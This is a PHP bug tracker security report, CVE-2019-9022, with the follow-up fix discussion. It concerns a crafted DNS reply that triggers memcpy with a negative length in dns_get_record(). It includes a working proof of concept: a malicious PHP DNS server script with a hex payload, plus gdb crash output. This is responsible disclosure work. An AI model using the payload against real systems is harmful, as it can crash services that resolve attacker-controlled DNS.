php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #77369 memcpy with negative length via crafted DNS response
Submitted: 2018-12-29 14:01 UTC Modified: 2019-02-22 22:07 UTC
From: h4x0n4ut at gmail dot com Assigned: stas (profile)
Status: Closed Package: *Network Functions
PHP Version: 7.1.25 OS: *
Private report: No CVE-ID: 2019-9022
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: h4x0n4ut at gmail dot com
New email:
PHP Version: OS:

 

 [2018-12-29 14:01 UTC] h4x0n4ut at gmail dot com
Description:
------------
A malicious DNS server can send a reply that leads to a memcpy operation with a negative size parameter. This affects the function `dns_get_record()` if the DNS query is of type DNS_CAA or DNS_ANY. 

Steps to reproduce:
Add "nameserver 127.0.0.1" to /etc/resolv.conf
Run the provided server script
Run: php -r 'dns_get_record("a.a.a");'


The problem here is that the DNS parser in "ext/standard/dns.c" does not account for dlen=0, leading to a negative n which is not detected by CHECKCP.
Furthermore, the string allocator in "Zend/zend_string.h" does not check for integer overflows when adjusting the size using ZEND_MM_ALIGNED_SIZE.


Test script:
---------------
Server script:
<?php

$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($socket, "0.0.0.0", 53);
socket_set_nonblock($socket);

while(1) {
	$buf = "";
	@socket_recvfrom($socket, $buf, 4096, 0, $client_ip, $client_port);

	if (strlen($buf) <= 0)
		continue;

	$blo = bin2hex(substr($buf, 0, 2)) . "81000001000100000000016101610161000101000101610161016100010100010000012c00000000";
	$blo = hex2bin($blo) ;
	socket_sendto($socket, $blo, strlen($blo), MSG_EOF, $client_ip, $client_port);
}


Vulnerable script:
<?php
dns_get_record("a.a.a", DNS_CAA);

Expected result:
----------------
Warning or empty CAA record. 

Actual result:
--------------
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/php-7.3.0/sapi/cli/php -r 'dns_get_record("a.a.a", DNS_CAA);'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff4b21f53 in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
(gdb) bt
#0  0x00007ffff4b21f53 in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
#1  0x0000555555abf3d5 in zend_string_init (persistent=0, len=18446744073709551614, str=0x7ffffffed46a "") at /tmp/php-7.3.0/Zend/zend_string.h:157
#2  add_assoc_stringl_ex (arg=arg@entry=0x7ffffffed1f0, key=key@entry=0x55555625f99b "value", key_len=key_len@entry=5, str=str@entry=0x7ffffffed46a "", length=18446744073709551614)
    at /tmp/php-7.3.0/Zend/zend_API.c:1428
#3  0x00005555559cc777 in php_parserr (cp=0x7ffffffed46a "", end=end@entry=0x7ffffffed46a "", answer=answer@entry=0x7ffffffed440, type_to_fetch=type_to_fetch@entry=257, store=store@entry=1, 
    raw=0, subarray=0x7ffffffed1f0) at /tmp/php-7.3.0/ext/standard/dns.c:549
#4  0x00005555559cd7c2 in zif_dns_get_record (execute_data=<optimized out>, return_value=0x7fffffffd4d0) at /tmp/php-7.3.0/ext/standard/dns.c:983
#5  0x0000555555b416e1 in ZEND_DO_FCALL_BY_NAME_SPEC_RETVAL_UNUSED_HANDLER () at /tmp/php-7.3.0/Zend/zend_vm_execute.h:815
#6  execute_ex (ex=0x7ffff326fbc0) at /tmp/php-7.3.0/Zend/zend_vm_execute.h:55430
#7  0x0000555555b42de2 in zend_execute (op_array=op_array@entry=0x7ffff32792a0, return_value=return_value@entry=0x7fffffffd590) at /tmp/php-7.3.0/Zend/zend_vm_execute.h:60834
#8  0x0000555555ab0057 in zend_eval_stringl (str=<optimized out>, str_len=<optimized out>, retval_ptr=0x0, string_name=0x5555562b3901 "Command line code")
    at /tmp/php-7.3.0/Zend/zend_execute_API.c:1018
#9  0x0000555555ab0139 in zend_eval_stringl_ex (str=<optimized out>, str_len=<optimized out>, retval_ptr=<optimized out>, string_name=<optimized out>, handle_exceptions=1)
    at /tmp/php-7.3.0/Zend/zend_execute_API.c:1059
#10 0x0000555555b44f52 in do_cli (argc=5, argv=0x55555647c160) at /tmp/php-7.3.0/sapi/cli/php_cli.c:1028
#11 0x00005555556c67cc in main (argc=5, argv=0x55555647c160) at /tmp/php-7.3.0/sapi/cli/php_cli.c:1389
(gdb) i r
rax            0x7ffff325e0a8      140737272733864
rbx            0x7ffff325e090      140737272733840
rcx            0x7ffff325e086      140737272733830
rdx            0xfffffffffffee4e6  -72474
rsi            0x7fffffffef82      140737488351106
rdi            0x7ffff326fbc0      140737272806336
rbp            0xfffffffffffffffe  0xfffffffffffffffe
rsp            0x7ffffffecc78      0x7ffffffecc78
r8             0xffffffffffffffe8  -24
r9             0x8                 8
r10            0x7ffff325e0a6      140737272733862
r11            0x7ffff325e0a8      140737272733864
r12            0x55555625f99b      93825005910427
r13            0x5                 5
r14            0x7ffffffed1f0      140737488278000
r15            0x7ffffffed46a      140737488278634
rip            0x7ffff4b21f53      0x7ffff4b21f53 <__memmove_avx_unaligned_erms+755>
eflags         0x10286             [ PF SF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-12-30 04:42 UTC] stas@php.net
-Operating System: +Operating System: * -PHP Version: 7.3.0 +PHP Version: 7.1.25 -Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: needed
 [2018-12-30 04:42 UTC] stas@php.net
Proposed fix in security repo as 68144cb1beb88361b9c59ec75b8c0e250a4ac656 and in https://gist.github.com/smalyshev/35b5e5a2aeb1006290a5a0aaf6835f7d

Please verify
 [2019-01-02 21:20 UTC] h4x0n4ut at gmail dot com
From a security perspective the patch looks correct but I'm not sure whether aborting parsing a reply when a zero length entry is found is the best solution since it might lead to incomplete parsing of ANY responses.

Are there legitimate cases where rdlength = 0? Afaik this is the case for NULL entries.
 [2019-01-07 08:19 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8d3dfabef459fe7815e8ea2fd68753fd17859d7b
Log: Fix #77369 - memcpy with negative length via crafted DNS response
 [2019-01-07 08:19 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2019-01-07 08:20 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8d3dfabef459fe7815e8ea2fd68753fd17859d7b
Log: Fix #77369 - memcpy with negative length via crafted DNS response
 [2019-01-07 08:20 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8d3dfabef459fe7815e8ea2fd68753fd17859d7b
Log: Fix #77369 - memcpy with negative length via crafted DNS response
 [2019-01-07 08:21 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8d3dfabef459fe7815e8ea2fd68753fd17859d7b
Log: Fix #77369 - memcpy with negative length via crafted DNS response
 [2019-02-22 22:07 UTC] stas@php.net
-CVE-ID: needed +CVE-ID: 2019-9022
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Mar 29 07:01:28 2024 UTC